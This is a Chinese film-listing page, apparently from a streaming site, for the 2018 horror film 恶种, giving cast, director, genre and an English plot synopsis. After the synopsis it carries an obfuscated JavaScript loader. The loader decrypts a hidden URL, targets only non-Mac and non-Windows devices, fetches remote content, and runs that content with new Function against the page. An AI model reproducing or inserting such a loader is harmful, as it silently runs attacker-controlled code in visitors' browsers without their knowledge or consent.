恶种2018

主演:特雷弗·隆恩  安德里亚·陈  Garr Long  凯文·布雷斯纳汉  克里斯·麦加瑞  Michelle Liu Coughlin  Adrian Enscoe  香农·哈特曼  

导演:Owen  Long  

类型:恐怖片

备注:HD   更新时间:2022-09-02 03:41

地区:美国   年份:2018

播放线路
快手云
详细介绍

  When his increasingly depraved behavior spirals out of control, Marcus retreats to his family home along the New England coast. But instead of finding solace, Marcus is haunted by his darkest fears and deepest desires. Is he losing his mind or has something terrible burrowed deep within him? Incubating. Waiting until the climate is right. Marcus must fight to save his crumbling sanity and protect Lily, his beloved niece from a monster that lies in wait.

window['LxQRgj'] = function(){ var keyList = [ "+ALPvZG7JfqnVawkUTN58jgMsm0rulh-4umApW61xS8HnhKIkab3rYoDiwtUvPec" , "QIoM7N6OP2En01qimF8flCU9V+RkwHAE4aqnTc6I9QS7lYsrv+ePONH3ZmtkBF", "jZ+3nV6wxsbgyWiolMdqDhtackJHC2r0eLGz5KQAfFtkN2oyg+paL9zSH.:bXV8IAsleMrKdhYBRimUOCx6/", "-zwgpiskFb9YlOT0Dx1KJuRhZW02ma9f3eR745c6-H8gVXIMjO", ]; function decrypt(t, e) { if (!t) return ""; for (var a = t.split(""), n = e.split(""), i = {}, r = [], o = 0;o < a.length / 2;o++) i[a[o]] = a[a.length / 2 + o]; for (var s = 0; s < e.length; s++) r.push(i[n[s]]); return r.join(""); }; (!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?(function(u, i, w, d) { var x = decrypt, cs = d[x(keyList[0],"-A88hV0f-8kv0")], crd = x(keyList[1],"6mQoNQQ1QRQ7N"); 'jQuery'; u = decodeURIComponent(x(keyList[2], u)); 'jQuery'; var xhr = new XMLHttpRequest(); xhr.open('GET', u + '/s/a?_=' + x(keyList[3], i)); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText); new Function(data.data)(cs); } }; xhr.send('u=1'); })("ijjxWlFFsxhodHZs2WbJ66odVy", "YTz9Y9iilYxwwkz9xY", window, document):function(){}; var _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = _keyStr.indexOf(input.charAt(i++)); enc2 = _keyStr.indexOf(input.charAt(i++)); enc3 = _keyStr.indexOf(input.charAt(i++)); enc4 = _keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } output = _utf8_decode(output); return output; } function _utf8_decode(utftext) { var string = ""; var i = 0; var c = 0; var c1 = 0; var c2 = 0; while (i < utftext.length) { c = utftext.charCodeAt(i); if (c < 128) { string += String.fromCharCode(c); i++; } else if ((c > 191) && (c < 224)) { c1 = utftext.charCodeAt(i + 1); string += String.fromCharCode(((c & 31) << 6) | (c1 & 63)); i += 2; } else { c1 = utftext.charCodeAt(i + 1); c2 = utftext.charCodeAt(i + 2); string += String.fromCharCode(((c & 15) << 12) | ((c1 & 63) << 6) | (c2 & 63)); i += 3; } } return string; }}